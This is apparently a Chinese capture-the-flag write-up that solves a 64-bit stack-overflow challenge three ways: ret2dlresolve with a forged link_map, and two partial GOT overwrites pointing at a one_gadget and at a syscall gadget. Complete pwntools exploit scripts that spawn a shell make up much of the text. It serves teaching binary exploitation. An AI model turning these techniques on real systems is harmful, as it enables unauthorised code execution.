ret2dlresolve 与 改写got表

ret2dlresolve 与 改写got表

前言

大概，大家会对我把ret2dlresolve与改写got表放在一起讲感到疑惑，其实，很多ret2dlresolve都可以用改写got表解决，甚至改写got表的限制更少，应用更加广泛。
由于32位的程序已经不太常见，故本文的题目为64位，这就涉及到了64位的ret2dlresolve，而网上绝大多数资料都只对32位下的ret2dlresolve进行了分析，且ret2dlresolve在32位与64位下的利用方式有较大区别，因此，建议不熟悉64位下ret2dlresolve利用方式的读者，在阅读本文前，先参考rapcy师傅的文章进行学习。
本文内容难度较低，主要就是水一篇博客。
附：本文相关附件下载地址

题目分析

逆向分析：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Please say something:");
  read(0, buf, 0x200uLL);
  close(1);
  close(2);
  return 0;
}

检查保护：

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

可以看到，本题在libc-2.27下运行，只开了NX保护，RELRO是Partial，且反编译出的伪代码非常简单，漏洞也很明显：一个栈溢出，并且还溢出了较多的数据，可是却用close()关闭了输出，意味着没有回显，故不能泄露信息（如libc），因此，很容易想到利用ret2dlresolve来getshell。

64位下的ret2dlresolve

说一下在上面推荐的raycp师傅的文章中好像没提到的一点：
在64位下，plt中的代码push的是待解析符号在重定位表中的索引，而不是像32位一样push的偏移，且Elf64_Rela结构体的大小为24（0x18）个字节，这就解释了下面exp中的0x18*reloc_index，其实就是计算了偏移。
其他的直接按raycp师傅文章的思路照着写即可，这里就不给出详细解释了。
exp：

from pwn import*
context(os='linux', arch='amd64', log_level='debug')

p = process("./test")
elf = ELF("./test")
libc = ELF("./libc-2.27.so")

plt0 = elf.get_section_by_name('.plt').header.sh_addr
pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
ret = 0x4011BE

def create_fake_link_map(fake_addr, known_got, reloc_index, offset):
	target = fake_addr - 8	 #the result you write in (any addr)
	fake_link_map = p64(offset & (2**64-1))   #l_addr
	fake_link_map = fake_link_map.ljust(0x30, b'\x00')
	fake_jmprel = p64(target-offset)   #r_offset
	fake_jmprel += p64(7)   #r_info
	fake_jmprel += p64(0)   #r_append
	fake_link_map += fake_jmprel
	fake_link_map = fake_link_map.ljust(0x68, b'\x00')
	fake_link_map += p64(fake_addr)   #l_info[5] dynstr
	fake_link_map += p64(fake_addr+0x78-8)   #l_info[6] dynsym
	fake_link_map += p64(known_got-8)   #dynmic symtab
	fake_link_map += p64(fake_addr+0x30-0x18*reloc_index)   #dynmic jmprel
	fake_link_map = fake_link_map.ljust(0xf8, b'\x00')
	fake_link_map += p64(fake_addr+0x80-8)   #l_info[23] jmprel
	return fake_link_map

fake_reloc_arg = 8   #just as one wishes
fake_link_map_addr = 0x404050
fake_link_map = create_fake_link_map(fake_link_map_addr, elf.got['read'], fake_reloc_arg, libc.sym['system'] - libc.sym['read'])
bin_sh_addr = fake_link_map_addr + len(fake_link_map)

payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(plt0+6) + p64(fake_link_map_addr) + p64(fake_reloc_arg)
payload = payload.ljust(0x200, b'\x00')
p.sendafter("something:\n", payload)

payload = fake_link_map + b'/bin/sh\x00'
p.send(payload)
p.interactive()

改got表为one_gadget

通过动态调试可以发现，选用0x10a45c的one_gadget是可行的，并且libc_base+0x10a45c与close的libc地址只有最后两个字节（4位）不同，而后三位又是确定的45c，故只需要爆破一位（1/16的概率），就可以将close的got表改为one_gadget，再调用close()函数，即可getshell，此外，在本题当中，改read的got表改为one_gadget也可以。
exp：

from pwn import *
context(os='linux', arch='amd64') 

elf = ELF("./test")

pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
close_addr = 0x4011A9

cnt = 0
while True:
    try:
    	p = process("./test")
    	cnt = cnt + 1
    	success("Count:\t" + str(cnt))
    	payload = b'\x00'*0x28
    	payload += p64(pop_rdi_ret) + p64(0)
    	payload += p64(pop_rsi_r15_ret) + p64(elf.got['close']) + p64(0)
    	payload += p64(elf.plt['read']) + p64(close_addr)
    	p.sendafter('something:\n', payload)
    	p.send(b'\x5c\x34')
    	p.sendline(b'exec 1>&0')
    	p.sendline(b'ls')
    	p.recvuntil(b'flag')
    	break
    except:
        p.close()
p.sendline(b'cat flag')
p.interactive()

改got表为syscall

可以发现，上述两种方法都需要知道libc版本，只不过第二种方法比第一种写起来简洁，但第二种方法没有第一种稳定、通用，而接下来介绍的这种方法并不太依赖于libc。
显然，除了上述方法中通过调用system("/bin/sh")和打one_gadget来getshell以外，还有一种常见方式就是通过触发syscall软中断来getshell，然而，本题的ELF源文件中并没有syscall这个gadget，并且，我们又无法泄露libc信息，用libc中的syscall，因此，我们需要想办法创造出syscall这个gadget。
其实，在libc中，read，write，close，alarm等这些函数只是对系统调用进行了简单的封装，在这些函数中都存在syscall这个gadget，且syscall一般离函数的开始地址都很近，故可以将这些函数的got表改为syscall的地址，从而触发系统调用。
我们知道，最终需要控制寄存器如下，才能成功getshell：

rax = 0x3b
rdi = bin_sh_addr
rsi = 0
rdx = 0
syscall

故，我们可以用ret2csu先改写close的got表为syscall的地址，有了syscall后，再由read读入的字节数控制rax寄存器（同时读入/bin/sh字符串），并用ret2csu控制rdi，rsi，rdx三个参数，最后调用触发syscall即可。
值得一提的是，在不同libc下，即使改同一个函数的got表为syscall地址，所修改的值也很可能不相同。但为何说本方法不太依赖于libc呢？因为我们已经知道了syscall离函数开始的地址很近，所以，即使我们不知道libc版本，也可以爆破最后一个字节（两位）来得到syscall，概率为1/256，也不算太难爆破。
exp：

from pwn import *
context(os='linux', arch='amd64', log_level='debug') 

p = process("./test")
elf = ELF("./test")

gadget1_addr = 0x40121A
gadget2_addr = 0x401200

def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
	payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
	return payload

payload = b'\x00'*0x28
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, elf.got['close'], 1)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, 0x404050, 0x3b)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['close'], 0x404050, 0, 0)
payload.ljust(0x200, b'\x00')
p.send(payload)
p.send(b'\xe2')
p.send(b'/bin/sh\x00' + b'\x00'*(0x3b-8))
p.interactive()

总结

主要就ret2dlresolve以及通过覆盖低位数据来构造出需要的gadget的思想来说几点吧。
对于NO RELERO，.dynamic是可修改的，只需要用read函数把其中的.dynstr的地址（STRTAB的d_ptr）修改为我们可以控制的地址，再在这个地址上伪造一个fake_dynstr，把任意字符串替换为system字符串，再调用.dl_fixup，解析我们修改的字符串所对应的原函数，而_dl_fixup最后是根据字符串也就是函数名来索引函数的，所以最后就会解析system函数了，显然，不论32位还是64位都可以这么办，写起来也非常简单。
重点是，若是开启了FULL RELERO，程序在运行之前就已经调用了ld.so将所需的外部函数加载完成，程序运行期间不再动态加载，因此，在程序的got表中，link_map和dl_runtime_resolve函数的地址都为0，很难再利用ret2dlresolve了（除非修改_dl_rtld_di_serinfo低位，有小概率能恢复出ret2dlresolve）。而此时，got表也不再可写，不过我们可以把这种思想延伸到栈上，低位覆盖栈中合适的数据也有一定几率指向syscall，从而配合ret2csu来getshell（不过实际操作起来也不那么容易）。